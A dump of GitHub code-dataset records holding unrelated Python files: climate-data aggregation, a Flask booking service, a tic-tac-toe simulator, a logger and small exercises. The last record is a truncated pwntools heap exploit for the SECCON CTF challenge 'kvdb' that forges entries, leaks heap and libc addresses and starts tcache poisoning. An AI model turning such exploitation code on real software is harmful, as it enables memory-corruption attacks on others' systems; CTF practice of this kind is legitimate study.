('date', 'PM2.5', 'PM10', 'SO2', 'NO2', 'CO', 'O3', 'U', 'V', 'TEMP', 'RH', 'PSFC', 'lat', 'lon',\r\n '国家', '省份', '城市'))\r\n\r\n endIndex = len(rows)\r\n if rows[len(rows) - 1] == '':\r\n endIndex = len(rows) - 1\r\n\r\n for i in range(1, endIndex):\r\n date = rows[i][0] # 当前日期\r\n\r\n if date == tmp:\r\n tmpArr = [eval(rows[i][1]), eval(rows[i][2]), eval(rows[i][3]), eval(rows[i][4]), eval(rows[i][5]),\r\n eval(rows[i][6]), eval(rows[i][7]), eval(rows[i][8]), eval(rows[i][9]), eval(rows[i][10]),\r\n eval(rows[i][11])]\r\n sum = list(map(lambda x: x[0] + x[1], zip(sum, tmpArr))) # 所有区县数据求和\r\n number += 1\r\n if i == endIndex - 1: # 如果是最后一条数据\r\n sum = np.array(sum)\r\n sum /= number\r\n resTurple = (tmp,) + tuple(sum) + ('中国', path.split('\\\\')[5], path.split('\\\\')[6].split('.')[0])\r\n writer.writerow(resTurple)\r\n break\r\n else:\r\n sum = np.array(sum)\r\n sum /= number\r\n resTuple = (tmp,) + tuple(sum) + ('中国', path.split('\\\\')[5], path.split('\\\\')[6].split('.')[0])\r\n writer.writerow(resTuple)\r\n\r\n number = 0\r\n sum = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\r\n tmp = date\r\n tmpArr = [eval(rows[i][1]), eval(rows[i][2]), eval(rows[i][3]), eval(rows[i][4]), eval(rows[i][5]),\r\n eval(rows[i][6]), eval(rows[i][7]), eval(rows[i][8]), eval(rows[i][9]), eval(rows[i][10]),\r\n eval(rows[i][11])]\r\n sum = list(map(lambda x: x[0] + x[1], zip(sum, tmpArr)))\r\n\r\n number += 1\r\n\r\n if i == endIndex - 1: # 如果是最后一条数据\r\n sum = np.array(sum)\r\n sum /= number\r\n resTurple = (tmp,) + tuple(sum) + ('中国', path.split('\\\\')[5], path.split('\\\\')[6].split('.')[0])\r\n writer.writerow(resTurple)\r\n break\r\n f.close()\r\n\r\n\r\ndef getDir(dir):\r\n p = Path(dir)\r\n for p in list(p.glob('*')):\r\n if p.is_file(): # p: D:\\Project\\chinaVis2021\\数据集\\China_new\\海南省\\屯昌县.csv\r\n fileDir = str(p)\r\n # print('\\\\'.join(fileDir.split('\\\\')[5:]))\r\n # getAverge(fileDir) # 取数据均值 使用China_new路径\r\n getData(fileDir) # 统计用于聚类\r\n else:\r\n subdir = []\r\n subdir = getDir(os.path.join(dir, p.name))\r\n # return res\r\n\r\n\r\n# 获取目标数据\r\ndef getDesData():\r\n f = open('./data/CO-cluster.json', 'r', encoding='utf-8')\r\n dt = json.load(f)\r\n return dt['CO'][0]\r\n # print(len(dt['CO'][0]))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n # 存储所有数据的字典\r\n metrics = ['PM25', 'PM10', 'SO2', 'NO2', 'CO', 'O3']\r\n res = {\r\n 'PM25': [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [],\r\n [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [],\r\n [], [], [], [], [], [], [], []],\r\n 'PM10': [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [],\r\n [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [],\r\n [], [], [], [], [], [], [], []],\r\n 'SO2': [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [],\r\n [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [],\r\n [], [], [], [], [], [], [], []],\r\n 'NO2': [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [],\r\n [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [],\r\n [], [], [], [], [], [], [], [], [], []],\r\n 'CO': [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [],\r\n [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [],\r\n [], [], [], [], [], [], [], []],\r\n 'O3': [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [],\r\n [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [],\r\n [], [], [], [], [], [], [], []]}\r\n\r\n # 获取数据并分别写入文件\r\n # dir = 'D:/Project/chinaVis2021/数据集/China_new'\r\n dir = 'D:/Project/chinaVis2021/数据集/preCluster'\r\n getDir(dir)\r\n\r\n for i in metrics:\r\n f = open('./cluster/data/' + i + '-cluster.json', 'w', encoding='utf8')\r\n f.write(json.dumps({i: res[i]}))\r\n f.close()\r\n\r\n\r\n metricsRes = ['PM25', 'PM10', 'SO2', 'NO2', 'CO', 'O3']\r\n # 循环所有指标的文件\r\n for i in range(len(metricsRes)):\r\n with open('./cluster/data/' + metricsRes[i] + '-cluster.json', 'r', encoding='utf-8') as f: # 读取用于聚类的指标文件\r\n dt = json.load(f)\r\n\r\n # 循环60组时间段\r\n for j in range(0, len(dt[metricsRes[i]])):\r\n for k in range(0, len(dt[metricsRes[i]][j])):\r\n print(metricsRes[i],j,len(dt[metricsRes[i]][j]), len(dt[metricsRes[i]][j][k]))\r\n","repo_name":"milu-ad/climate-py","sub_path":"vis/city.py","file_name":"city.py","file_ext":"py","file_size_in_byte":9373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33024176998","text":"from flask import Flask, render_template, request, jsonify, make_response\nimport requests\nimport json\nfrom werkzeug.exceptions import NotFound\nimport urllib3\n\nimport grpc\nimport sys\nsys.path.append('booking')\nimport booking_pb2\nimport booking_pb2_grpc\n\nurllib3.disable_warnings()\n\napp = Flask(__name__)\n\n# Defining the server entry point\nPORT = 3203\nHOST = 'user'\n\n# open the database user\nwith open('{}/data/users.json'.format(\".\"), \"r\") as jsf:\n users = json.load(jsf)[\"users\"]\n\n\n@app.route(\"/\", methods=['GET'])\ndef home():\n return \"<h1 style='color:blue'>Welcome to the User service!</h1>\"\n\n@app.route(\"/uerjson\", methods=[\"GET\"])\ndef get_json():\n res = make_response(jsonify(users), 200)\n return res\n\n\ndef get_booking_for_user(stub, userid):\n allbookings = stub.GetBookings(userid)\n return allbookings\n\ndef add_booking_byuser(stub, bookingRequest):\n reponse = stub.AddBooking(bookingRequest)\n return reponse\n\n# an entry point for obtaining reservations from a user's name or ID \n@app.route(\"/user\", methods=['GET'])\ndef check_user_booking():\n # get the query parameter of user_id\n user_id = request.args.get(\"user_id\")\n date = request.args.get(\"date\")\n movieid = request.args.get(\"movieid\")\n data = {\"date\": date, \"movieid\": movieid}\n user = next((user for user in users if str(user['id']) == str(user_id)), None)\n if user:\n # Use Booking GRPC to check if the booking is ok for this user\n with grpc.insecure_channel('booking:3201') as channel:\n stub = booking_pb2_grpc.BookingStub(channel)\n bookingRequest = booking_pb2.AddBookingRequest(userid=user_id, date=date, movieid=movieid)\n response = add_booking_byuser(stub, bookingRequest)\n # If there is the response\n if(len(response.booking.dates) != 0):\n res = jsonify({\"message\": \"Booking created successfully\"})\n # If there is not the response, that means in grpc booking has already exists\n else:\n res = make_response(jsonify({\"error\": \"Failed to create booking\"}), 400)\n else:\n res = make_response(jsonify({\"error\": \"user ID not found\"}), 400)\n return res\n\n# an entry point for retrieving film information for a user's reservations \n@app.route(\"/user/booking/movies\", methods=['GET'])\ndef get_user_booking_movies():\n # get the query parameter of user_id\n user_id = request.args.get(\"user_id\")\n # check user existence\n user = next((user for user in users if user['id'] == user_id), None)\n if user: # if user exists, firstly go to the booking serveur to get the information of booking\n res = []\n # Get all the booking infotmation from channel booking in grpc\n with grpc.insecure_channel('booking:3201') as channel:\n stub = booking_pb2_grpc.BookingStub(channel)\n userid = booking_pb2.UserID(userid = user_id)\n response = get_booking_for_user(stub, userid)\n # Check if there is the booking or not for the user\n if response.booking.userid == \"\" and len(response.booking.dates) == 0:\n return make_response(jsonify({\"error\": \"user ID no bookings\"}), 400)\n # if booking exists, next go to check every record of booking to get movies\n for dates_info in response.booking.dates:\n date = dates_info.date # Get the booking date\n movies = dates_info.movie # Get the booking movie list\n info = {\"date\": date, \"movies\": []} #Store the booking and movie information in the dict on this date\n for id in movies:\n # build the query\n query = \"\"\"\n query GetMovieWithId($movieId: String!) {\n movie_with_id(_id: $movieId) {\n title\n rating\n actors {\n firstname\n lastname\n birthyear\n }\n }\n }\n \"\"\"\n # Define a dictionary of variables, passing the value of the movieId variable.\n variables = {\n \"movieId\": id\n }\n # Get the movie information in graphql\n movie = requests.post(\"http://movie:3200/graphql\",json={'query': query, 'variables': variables})\n if movie.status_code != 200:\n return make_response(jsonify({\"error\": \"movies in booking not found\"}), 400)\n info[\"movies\"].append(movie.json())\n res.append(info)\n return make_response(jsonify(res), 200)\n else:\n return make_response(jsonify({\"error\": \"user ID not found\"}), 400)\n\n\nif __name__ == \"__main__\":\n print(\"Server running in port %s\" % (PORT))\n app.run(host=HOST, port=PORT)\n","repo_name":"maxime-cool/microservices-TP-mixte","sub_path":"user/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":4836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71184861042","text":"import matplotlib.pyplot as plt\nfrom ttt_class import TicTacToe, Qubic\n\nclass Game:\n \"\"\"Main Game class that handles the whole Game, uses the import TicTacToe and Qubic class.\"\"\"\n def __init__(self, rng_sleep=0):\n self.rng_sleep = rng_sleep\n self.scenario = None # 1 or 2, 1 = all choices are (pseudo-)random, 2 = p1 picks middle first, rest are random\n self.n_games = 0 # number of games to be simulated\n self.board_size = []\n self.p1_wins = 0\n self.p2_wins = 0 \n self.draws = 0\n\n def init_game(self):\n \"\"\"Ask the user for neccessary input before game start.\"\"\"\n while True:\n try:\n self.scenario = input(\"Which scenario do you want to play (1/2/q1/q2)? \")\n if self.scenario in ['1', '2', 'q1', 'q2']: break\n else: print(\"Incorrect scenario, try again!\")\n except:\n self.scenario = input(\"Incorrect scenario, try again!\")\n\n while True:\n if self.scenario in ['1', '2']: \n try:\n self.board_size = int(input(\"How big should the board be (3/5/7)? \"))\n if self.board_size in [3, 5, 7]: break\n else: print(\"Incorrect board size, try again!\")\n except:\n print(\"Incorrect board size, try again!\")\n else: break # If the qubic scenario is selected, 5x5 is selected by default\n \n while True:\n try:\n self.n_games = int(input(\"How many games do you want to simulate? \"))\n if self.n_games > 0: break\n else: print(\"Incorrect number of games, try again!\")\n except:\n print(\"Incorrect number of games, try agian!\")\n\n def run(self):\n \"\"\"Initializes and starts the selected scenario\"\"\"\n self.init_game()\n self.play_scenario() # Simulate scenario\n\n def play_scenario(self):\n \"\"\"Scenario 1,2 or q1,q2 being simulated. This is where the game loop is located.\"\"\"\n game = TicTacToe(self.board_size, self.scenario, self.rng_sleep) if self.scenario in ['1', '2'] else Qubic(self.scenario, self.rng_sleep)\n for round_ in range(self.n_games):\n result = game.run()\n self.save_round(result)\n \n self.plot_result()\n\n def plot_result(self):\n \"\"\"Plot the results as a barchart, and save as pdf in local folder.\"\"\"\n result_string = f\"\\nPlayer 1 wins: {self.p1_wins}\\nPlayer 2 wins: {self.p2_wins}\\nDraws: {self.draws}\\n\\nA figure that displays the result has been saved in the file 'result.pdf'\"\n print(result_string)\n\n f = plt.figure()\n results = [\"p1\", \"draw\", \"p2\"]\n scores = [self.p1_wins, self.draws, self.p2_wins]\n plt.bar(results, scores)\n f.savefig(\"result.pdf\")\n\n def save_round(self, result):\n \"\"\"Increment player wins or draws by 1. Expects 1, 2, or 3.\\n\n - 1,2 for player x win\n - 3 for draw\"\"\"\n if result == 1:\n self.p1_wins += 1\n elif result == 2:\n self.p2_wins += 1\n elif result == 3:\n self.draws += 1","repo_name":"DavidForsberg/tictactoe","sub_path":"game_class.py","file_name":"game_class.py","file_ext":"py","file_size_in_byte":3188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6596702322","text":"import decimal\nimport json\nimport logging\nimport uuid\nfrom datetime import date\nfrom datetime import datetime\nfrom sys import stdout\nfrom typing import Any\nfrom typing import Dict\n\nfrom pydantic import ValidationError\n\nfrom .log_scheme import AppLog\nfrom .log_scheme import ServiceLog\n\n\nclass Singleton(type):\n _instances: Dict = {}\n\n def __call__(cls, *args, **kwargs):\n if cls not in cls._instances:\n cls._instances[cls] = super(Singleton, cls).__call__(\n *args,\n **kwargs,\n )\n return cls._instances[cls]\n\n\nclass JsonStdOutLogger(metaclass=Singleton):\n def __init__(\n self,\n logger_name: str,\n ) -> None:\n self.logger = logging.getLogger(logger_name)\n\n self.logger.addHandler(logging.StreamHandler(stdout))\n\n def app_log(self, data: Dict[str, Any]) -> None:\n \"\"\"\n Запись лога приложения в формате json\n :param data: Payload сообщения\n :return: None\n \"\"\"\n if not isinstance(data, dict):\n logging.error(f'Logging data is {type(data)} - not a dictionary')\n return\n\n try:\n app_log: AppLog = AppLog(**data)\n except ValidationError as err:\n logging.error(str(err))\n return\n\n self.logger.info(app_log.json(by_alias=True, ensure_ascii=False))\n\n def service_log(self, data: Dict[str, Any]) -> None:\n \"\"\"\n Запись лога запроса в формате json\n :param data: Payload сообщения\n :return: None\n \"\"\"\n\n if not isinstance(data, dict):\n logging.error(f'Logging data is {type(data)} - not a dictionary')\n return\n\n try:\n service_log: ServiceLog = ServiceLog(**data)\n except ValidationError as err:\n logging.error(str(err))\n return\n\n self.logger.info(service_log.json(by_alias=True, ensure_ascii=False))\n\n @staticmethod\n def get_dump_data(data: Dict) -> str:\n def json_serial(obj):\n if isinstance(obj, (datetime, date)):\n return obj.isoformat()\n if isinstance(obj, uuid.UUID):\n return obj.hex\n if isinstance(obj, decimal.Decimal):\n return (str(o) for o in [obj])\n raise TypeError(\"Type %s not serializable\" % type(obj))\n\n return json.dumps(data, ensure_ascii=False, sort_keys=True, indent=2, default=json_serial,\n iterable_as_array=True)\n","repo_name":"EVAdonyaeva/music","sub_path":"src/utils/logging/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":2578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33229464266","text":"class Solution:\n def twoSum(self, nums: List[int], target: int) -> List[int]:\n data = {}\n for i in range(len(nums)):\n dif = target - nums[i]\n if nums[i] in data.keys():\n return [i,data[nums[i]]]\n else:\n data[dif] = i\n return []","repo_name":"sagarssc/LeetCode-Solutions","sub_path":"0001-two-sum/0001-two-sum.py","file_name":"0001-two-sum.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17437894594","text":"\"\"\"\n1. Write a fixture returning a mocked database object:\n - count() with any parameters should return 1\n - list_tables() should return („users”)\n - get() should return a dictionary with username, first_name, last_name\n and email keys\n2. Use the fixture and test each of those functions; Don't forget to check\n parameters passed to them.\n\"\"\"\nimport pytest\nfrom unittest.mock import Mock\n\n\n@pytest.fixture()\ndef mock_db():\n db = Mock()\n db.count.return_value = 1\n db.list_tables.return_value = (\"users\",)\n db.get.return_value = {\n \"username\": \"drake123\",\n \"first_name\": \"Daniel\",\n \"last_name\": \"Smith\",\n \"email\": \"drake123@yahoo.com\",\n }\n return db\n\n\ndef test_count(mock_db):\n mock_db.count.assert_not_called()\n assert mock_db.count() == 1\n mock_db.count.assert_called_once()\n\n\ndef test_list_tables(mock_db):\n mock_db.list_tables.assert_not_called()\n assert mock_db.list_tables() == (\"users\",)\n mock_db.list_tables.assert_called_once()\n\n\ndef test_get(mock_db):\n mock_db.get.assert_not_called()\n assert mock_db.get(\"users\")[\"username\"] == \"drake123\"\n mock_db.get.assert_called_once_with(\"users\")\n","repo_name":"mihaivalentistoica/Softwer-Testing-Advance-Feauture","sub_path":"02-mock/test_exercise-01.py","file_name":"test_exercise-01.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21387659404","text":"import os\nimport torch\n\nimport utils\nimport data_loader\n\nfrom trainer import Trainer\nfrom config import get_config\n\nimport datetime\nimport dateutil\nimport dateutil.tz\n\ndef main(config):\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = str(config.device_id)\n\n if config.is_train:\n if config.exp_dir == \"./exps\": \n config.exp_dir = os.path.join(config.exp_dir, str(datetime.datetime.now(dateutil.tz.tzlocal()))+\"_exp\")\n else: \n config.exp_dir = config.exp_dir\n config.ckpt_dir = os.path.join(config.exp_dir, config.ckpt_dir)\n config.logs_dir = os.path.join(config.exp_dir, config.logs_dir)\n config.data_dir = config.data_dir\n\n utils.prepare_dirs(config)\n else:\n # \"./exps/2022-10-17 12:52:43.942505+02:00_exp/ckpt/ram_18_4x4_1_ckpt_200.pth.tar\"\n assert config.resume_ckpt != \"\"\n ckpt_path = config.resume_ckpt.split(\"/\")\n config.exp_dir = os.path.join(*ckpt_path[:-2])\n config.logs_dir = os.path.join(config.exp_dir, config.logs_dir)\n config.data_dir = config.data_dir\n\n # ensure reproducibility\n torch.manual_seed(config.random_seed)\n kwargs = {}\n if config.use_gpu:\n torch.cuda.manual_seed(config.random_seed)\n kwargs = {\"num_workers\": 1, \"pin_memory\": True}\n\n \n # parameters checking\n if config.reward_hacking:\n assert config.is_train == True\n if config.noise_visualization:\n assert config.is_train == False\n\n # instantiate data loaders\n if config.is_train:\n dloader = data_loader.get_train_valid_loader(\n config.dataset, \n config.data_dir,\n config.batch_size,\n config.random_seed,\n config.valid_size,\n config.shuffle,\n config.show_sample,\n **kwargs,\n )\n else:\n dloader = data_loader.get_test_loader(\n config.dataset, config.data_dir, config.batch_size, **kwargs,\n )\n\n trainer = Trainer(config, dloader)\n\n # either train\n if config.is_train:\n utils.save_config(config)\n trainer.train()\n # or load a pretrained model and test\n else:\n trainer.test()\n\n\nif __name__ == \"__main__\":\n config, unparsed = get_config()\n main(config)\n","repo_name":"mengdi-li/internally-rewarded-rl","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2259,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"75"} +{"seq_id":"38317507884","text":"from typing import Callable, Dict, List, Union\n\nimport webviz_core_components as wcc\nfrom dash import html\n\n\ndef plot_options_view(get_uuid: Callable, initial_layout: Dict) -> html.Div:\n return wcc.Selectors(\n label=\"Plot options\",\n children=[\n wcc.Checklist(\n id=get_uuid(\"plotly_uirevision\"),\n options=[{\"label\": \"Keep plot range and zoom\", \"value\": \"keep\"}],\n ),\n dropdown_for_plotly_layout(\n uuid=get_uuid(\"plotly_layout\"),\n layout_attribute=\"xaxis_type\",\n title=\"X-axis type\",\n options=[\n {\"value\": None, \"label\": \"Automatic\"},\n {\"value\": \"linear\", \"label\": \"Linear\"},\n {\"value\": \"log\", \"label\": \"Log\"},\n {\"value\": \"date\", \"label\": \"Date\"},\n {\"value\": \"category\", \"label\": \"Category\"},\n {\"value\": \"multicategory\", \"label\": \"Multicategory\"},\n ],\n placeholder=\"automatic\",\n value=initial_layout.get(\"xaxis\", {}).get(\"type\", None),\n ),\n dropdown_for_plotly_layout(\n uuid=get_uuid(\"plotly_layout\"),\n layout_attribute=\"xaxis_autorange\",\n title=\"X-axis direction\",\n options=[\n {\"value\": True, \"label\": \"normal\"},\n {\"value\": \"reversed\", \"label\": \"reversed\"},\n ],\n value=initial_layout.get(\"xaxis\", {}).get(\"autorange\", True),\n ),\n dropdown_for_plotly_layout(\n uuid=get_uuid(\"plotly_layout\"),\n layout_attribute=\"yaxis_type\",\n title=\"Y-axis type\",\n options=[\n {\"value\": None, \"label\": \"Automatic\"},\n {\"value\": \"linear\", \"label\": \"Linear\"},\n {\"value\": \"log\", \"label\": \"Log\"},\n {\"value\": \"date\", \"label\": \"Date\"},\n {\"value\": \"category\", \"label\": \"Category\"},\n {\"value\": \"multicategory\", \"label\": \"Multicategory\"},\n ],\n placeholder=\"automatic\",\n value=initial_layout.get(\"yaxis\", {}).get(\"type\", None),\n ),\n dropdown_for_plotly_layout(\n uuid=get_uuid(\"plotly_layout\"),\n layout_attribute=\"yaxis_autorange\",\n title=\"Y-axis direction\",\n options=[\n {\"value\": True, \"label\": \"normal\"},\n {\"value\": \"reversed\", \"label\": \"reversed\"},\n ],\n value=initial_layout.get(\"yaxis\", {}).get(\"autorange\", True),\n ),\n ],\n )\n\n\ndef dropdown_for_plotly_layout(\n uuid: str,\n layout_attribute: str,\n title: str,\n options: List[Dict],\n value: Union[List, str],\n placeholder: str = \"Select...\",\n) -> html.Div:\n return wcc.Dropdown(\n label=title,\n id={\n \"id\": uuid,\n \"layout_attribute\": layout_attribute,\n },\n options=options,\n value=value,\n clearable=False,\n placeholder=placeholder,\n )\n","repo_name":"equinor/webviz-subsurface","sub_path":"webviz_subsurface/plugins/_line_plotter_fmu/views/plot_options_view.py","file_name":"plot_options_view.py","file_ext":"py","file_size_in_byte":3209,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"75"} +{"seq_id":"30984468435","text":"#!/usr/bin/env python\n#encoding: utf-8;\n\nfrom pwn import *\nimport sys\n\nFILENAME = \"./kvdb\"\nLIBCNAME = \"./libc.so.6\"\n\nhosts = (\"kvdb.chal.seccon.jp\",\"localhost\",\"localhost\")\nports = (17368,12300,23947)\nrhp1 = {'host':hosts[0],'port':ports[0]} #for actual server\nrhp2 = {'host':hosts[1],'port':ports[1]} #for localhost \nrhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker\ncontext(os='linux',arch='amd64')\nbinf = ELF(FILENAME)\nlibc = ELF(LIBCNAME) if LIBCNAME!=\"\" else None\n\ncurrent_size = 0x80\nKEYMAX = 0x40\nDATAMAX = 0x400\nalive = []\n\n## utilities #########################################\n\ndef hoge(ix):\n global c\n c.recvuntil(\"> \")\n c.sendline(str(ix))\n\ndef _put(key, size, data):\n global c \n if len(key) > KEYMAX:\n print(\"[-] KEY is too long...\")\n raw_input(\"enter to exit...\")\n exit(0)\n if len(data) > DATAMAX:\n print(\"[-] DATA is too long...\")\n raw_input(\"enter to exit...\")\n exit(0)\n if len(data) > size:\n print(\"[-] I will kill you...\")\n raw_input(\"enter to exit...\")\n exit(0)\n hoge(1)\n c.recvuntil(\"Key : \")\n c.sendline(key)\n c.recvuntil(\"Size : \")\n c.sendline(str(size))\n c.recvuntil(\"Data : \")\n c.send(data)\n\n if key not in alive:\n alive.append(key)\n\ndef _get(key):\n global c\n hoge(2)\n c.recvuntil(\"Key : \")\n c.sendline(key)\n if \"not found\" in c.recvline():\n return None\n c.recvuntil(\"---- data ----\")\n c.recvline()\n return c.recvuntil(\"---\")[:-4]\n\ndef _del(key):\n global c \n hoge(3)\n c.recvuntil(\"Key : \")\n c.sendline(key)\n if \"not found\" in c.recvline():\n print(\"NOT FOUNDDDDDDDDDDDDDDDD\")\n raise\n else:\n if key in alive:\n alive.remove(key)\n return True\n\nclass entry:\n def __init__(self, key_str, _size, _key=None, _data=None, valid=True):\n self.size = _size\n self.key_str = key_str\n self.key = _key\n self.data = _data\n self.hash = self.new_hash()\n self.valid = valid\n \n def new_hash(self):\n h = 5381\n for c in self.key_str:\n h = h*33 + ord(c)\n print(\"[ ] hash of \" + self.key_str + \": \"+hex(h&0xffffffff))\n return h & 0xffffffff\n\n def gen(self):\n pay = b\"\"\n pay += p32(0x1) if self.valid else p32(0) # valid flag\n pay += p32(self.hash) \n pay += p64(self.size)\n pay += p64(self.key) if self.key!=None else p64(0)\n pay += p64(self.data) if self.data!=None else p64(0)\n pay += p64(0) # next\n return pay\n\n\n\n## exploit ###########################################\n\ndef exploit():\n global c\n\n _put(\"A\", 0x8-2, \"A\"*0x1)\n _put(\"B\", 0x8-2, \"B\"*0x1)\n _put(\"C\", 0x8-2, \"C\"*0x1)\n _put(\"D\", 0x8-2, \"D\"*0x1)\n _put(\"E\", 0x8-2, \"E\"*0x1)\n _put(\"F\", 0x8-2, \"F\"*0x1) # inuse 0x30\n _put(\"G\", 0x60-2, \"G\"*0x4) # inuse 0x90 # cap 0x100\n\n _put(\"H\", 0x350-2, \"H\"*0x340) # inuse 0x3e0 # cap 0x400\n _put(\"A\", 0x320, \"A\"*0x310) # inuse 0x700 # cap 0x800\n\n _del(\"A\")\n _del(\"B\")\n _del(\"C\")\n _del(\"D\")\n _del(\"E\")\n _del(\"F\")\n _del(\"G\")\n _del(\"H\") # inuse 0x500 # use 0x8 # cap 0x800\n\n _put(\"B\", 0xf0, \"B\"*0xe0) # inuse 0x7f0 # use 0x2f0 # cap 0x800\n _del(\"B\")\n _put(\"C\", 0xf0, \"C\"*0x20) # inuse 0x100 # use 0xf0 # cap 0x400\n _del(\"C\")\n\n #######################################\n\n # struct entry's size is 0x28(0x30)\n for i in range(0x1b0//0x30):\n _put(p8(0x61+i), 0x1,p8(0x61+i))\n _del(p8(0x61+i))\n \n _put(\"?\", 0x2e0-2, \"?\"*0x200) # inuse 0x3ef # cap 0x400\n _del(\"?\")\n\n _put(\"!\", 0x20-2, \"!\"*0x10) # YEAH! overlapping! # cap 0x200\n _del(\"!\")\n\n _put(\"T\", 0x190, \"T\") # target whose entry is on deleted A\n # NOTE: old A should be in base+inuse range\n\n\n ##############################\n\n T = entry(\"T\", 0x800, 0xdeadbeef, 0xdeadbeef).gen()\n U = entry(\"U\", 0x800, 0xdeadbeef, 0xdeadbeef).gen()\n V = entry(\"V\", 0x800, 0xdeadbeef, 0xdeadbeef).gen()\n W = entry(\"W\", 0x800, 0xdeadbeef, 0xdeadbeef).gen()\n Z = entry(\"Z\", 0x800, 0xdeadbeef, 0xdeadbeef).gen()\n\n pay = b\"\"\n pay += \"A\"*0x3e\n pay += p64(0xdeadc0bebeef)\n pay += T\n pay += p64(0xdeadc0bebeef)\n pay += U\n pay += p64(0xdeadc0bebeef)\n pay += V\n pay += p64(0xdeadc0bebeef)\n pay += W\n pay += p64(0xdeadc0bebeef)\n pay += Z\n _put(\"A\", len(pay), \"A\"*0x3e + (p64(0x201f1)+p64(0))*((len(pay)-0x3e)//0x10)) # fake top size to avoid corruption\n\n ############################\n\n _put(\"U\", 0x1, \"U\") # it's mine\n _put(\"V\", 0x1, \"W\") # it's mine\n _put(\"W\", 0x1, \"W\") # it's mine\n _put(\"Z\", 0x1, \"Z\") # it's mine\n\n # now, A's valid flag is 1. So, I can read via OOB. Let's leak heapbase\n leak = unpack(_get(\"A\")[0x86:0x86+8])\n heapbase = leak - 0xdb6\n print(\"[!] leak: \" + hex(leak))\n print(\"[!] heapbase: \" + hex(heapbase))\n\n #############################\n # let's generate unsorted # inuse 0x1e2 # cap 0x200\n\n T = entry(\"T\", 0x800, heapbase+0xc24, heapbase+0xc26).gen()\n U = entry(\"U\", 0x800, heapbase+0xdb6, heapbase+0xdb8).gen()\n V = entry(\"V\", 0x800, heapbase+0xdb9, heapbase+0xbe0).gen()\n pay = b\"\"\n pay += \"A\"*12\n pay += \"U\\x00\"\n pay += \"U\"\n pay += \"V\\x00\"\n pay += \"V\"\n pay += \"W\\x00\"\n pay += \"W\"\n pay += \"Z\\x00\"\n pay += \"Z\"\n pay += \"A\"*(0x3e-len(pay))\n pay += p64(0xdeadc0bebeef)\n pay += T\n pay += p64(0xdeadc0bebeef)\n pay += U\n pay += p64(0xdeadc0bebeef)\n pay += V\n _put(\"A\", len(pay), pay)\n _del(\"A\")\n _del(\"T\")\n _del(\"U\")\n _del(\"V\")\n _del(\"W\")\n _del(\"Z\")\n\n print(alive) # inuse 0x1e2 # cap 0x200\n # generate unsorted\n _put(\"C\", 0x3e0, \"C\"*0x300) # inuse 0x410 # cap #0x800\n _del(\"C\")\n _put(\"#\", 0x3e0-2, \"#\"*0x300)\n _del(\"#\") # inuse 0x7f0 # cap 0x800\n _put(\"M\", 0x20-2, \"M\"*4)\n _del(\"M\") # inuse 0x52 # cap 0x400\n \n _put(\"N\", 0x3a0-2, \"N\"*0x200) # unsorted is generated\n _del(\"N\") # inuse 0x3f2\n _put(\"O\", 0x20-2, \"O\") # cap 0x200, again!\n\n ###################################\n\n _put(\"P\", 0x190, \"T\") # target whose entry is on deleted A\n # NOTE: old A should be in base+inuse range\n T = entry(\"T\", 0x10, heapbase+0xc24, heapbase+0xc00).gen()\n U = entry(\"U\", 0x800, heapbase+0xdb6, heapbase+0xdb8).gen() # my spy!\n V = entry(\"V\", 0x800, heapbase+0xdb9, heapbase+0xbe0).gen() # my attacker!\n pay = b\"\"\n pay += \"A\"*12\n pay += \"U\\x00\"\n pay += \"U\"\n pay += \"V\\x00\"\n pay += \"V\"\n pay += \"W\\x00\"\n pay += \"W\"\n pay += \"Z\\x00\"\n pay += \"Z\"\n pay += \"A\"*(0x3e-len(pay))\n pay += p64(0xdeadc0bebeef)\n pay += T\n pay += p64(0xdeadc0bebeef)\n pay += U\n _put(\"A\", len(pay), pay)\n\n leak = unpack(_get(\"U\")[0x1b8:0x1b8+8])\n libcbase = leak - 0x1ebbe0\n print(\"[!] leak: \" + hex(leak))\n print(\"[!] libcbase: \" + hex(libcbase))\n\n\n #################################\n # let's tcache poisoning\n _del(\"A\")\n _del(\"U\")\n _del(\"O\")\n _del(\"P\")\n # inuse 0x1e8 # cap 0x200\n print(alive)\n\n _put(\"Q\", 0x300-2, \"Q\"*0x10) # inuse 0x349 # cap 0x400\n _del(\"Q\")\n _put(\"Q\", 